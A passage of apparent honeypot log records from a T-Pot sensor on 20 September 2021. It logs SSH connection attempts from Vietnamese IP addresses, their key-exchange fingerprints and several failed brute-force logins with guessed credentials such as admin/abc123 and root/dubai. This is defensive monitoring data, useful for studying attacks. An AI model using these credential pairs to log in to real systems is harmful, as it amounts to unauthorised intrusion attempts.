"chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 53306, "dest_port": 22, "timestamp": "2021-09-20T11:09:12.682481", "@timestamp": "2021-09-20T11:09:12.682Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24871	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:09:13.098067+03	2021-09-20 14:15:09.36147+03	{"_id": "RwblAnwBvYTbRNuETBYK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 101320087854760, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 53022, "dest_port": 22, "timestamp": "2021-09-20T11:09:13.098067Z", "@timestamp": "2021-09-20T11:09:13.098Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
24872	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:09:13.098177+03	2021-09-20 14:15:09.36247+03	{"_id": "TQblAnwBvYTbRNuETRYM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 53022, "dest_port": 22, "timestamp": "2021-09-20T11:09:13.098177", "@timestamp": "2021-09-20T11:09:13.098Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
24873	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:13.728098+03	2021-09-20 14:15:09.363471+03	{"_id": "TwblAnwBvYTbRNuETRYN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 39590, "timestamp": "2021-09-20T11:09:13.728098", "@timestamp": "2021-09-20T11:09:13.728Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24874	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:13.513608+03	2021-09-20 14:15:09.36447+03	{"_id": "UAblAnwBvYTbRNuETRax", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:39590 (192.168.176.2:22) [session: dbaf0b7d01e5]", "session": "dbaf0b7d01e5", "@version": "1", "protocol": "ssh", "src_port": 39590, "dest_port": 22, "timestamp": "2021-09-20T11:09:13.513608Z", "@timestamp": "2021-09-20T11:09:13.513Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24875	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:13.542598+03	2021-09-20 14:15:09.36647+03	{"_id": "WgblAnwBvYTbRNuETRax", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [admin/abc123] failed", "session": "84220765f87d", "@version": "1", "password": "abc123", "username": "admin", "timestamp": "2021-09-20T11:09:13.542598Z", "@timestamp": "2021-09-20T11:09:13.542Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24876	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:09:13.632355+03	2021-09-20 14:15:09.36747+03	{"_id": "WwblAnwBvYTbRNuETRax", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "595bea6f2167", "@version": "1", "timestamp": "2021-09-20T11:09:13.632355Z", "@timestamp": "2021-09-20T11:09:13.632Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24877	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:13.69369+03	2021-09-20 14:15:09.369471+03	{"_id": "XAblAnwBvYTbRNuETRax", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "dbaf0b7d01e5", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:13.693690Z", "@timestamp": "2021-09-20T11:09:13.693Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24878	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:13.767916+03	2021-09-20 14:15:09.37047+03	{"_id": "XQblAnwBvYTbRNuETRax", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "dbaf0b7d01e5", "@version": "1", "timestamp": "2021-09-20T11:09:13.767916Z", "@timestamp": "2021-09-20T11:09:13.767Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24879	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:14.15157+03	2021-09-20 14:15:09.37247+03	{"_id": "XgblAnwBvYTbRNuETRax", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "3794bec75424", "@version": "1", "duration": 2.8441712856292725, "timestamp": "2021-09-20T11:09:14.151570Z", "@timestamp": "2021-09-20T11:09:14.151Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
24880	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:14.208077+03	2021-09-20 14:15:09.373471+03	{"_id": "XwblAnwBvYTbRNuETRax", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [root/dubai] failed", "session": "70f43a74fcd6", "@version": "1", "password": "dubai", "username": "root", "timestamp": "2021-09-20T11:09:14.208077Z", "@timestamp": "2021-09-20T11:09:14.208Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24881	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:15.854299+03	2021-09-20 14:15:09.37447+03	{"_id": "iAblAnwBvYTbRNuEVRZ4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:51798 (192.168.176.2:22) [session: 80c27c939d8e]", "session": "80c27c939d8e", "@version": "1", "protocol": "ssh", "src_port": 51798, "dest_port": 22, "timestamp": "2021-09-20T11:09:15.854299Z", "@timestamp": "2021-09-20T11:09:15.854Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
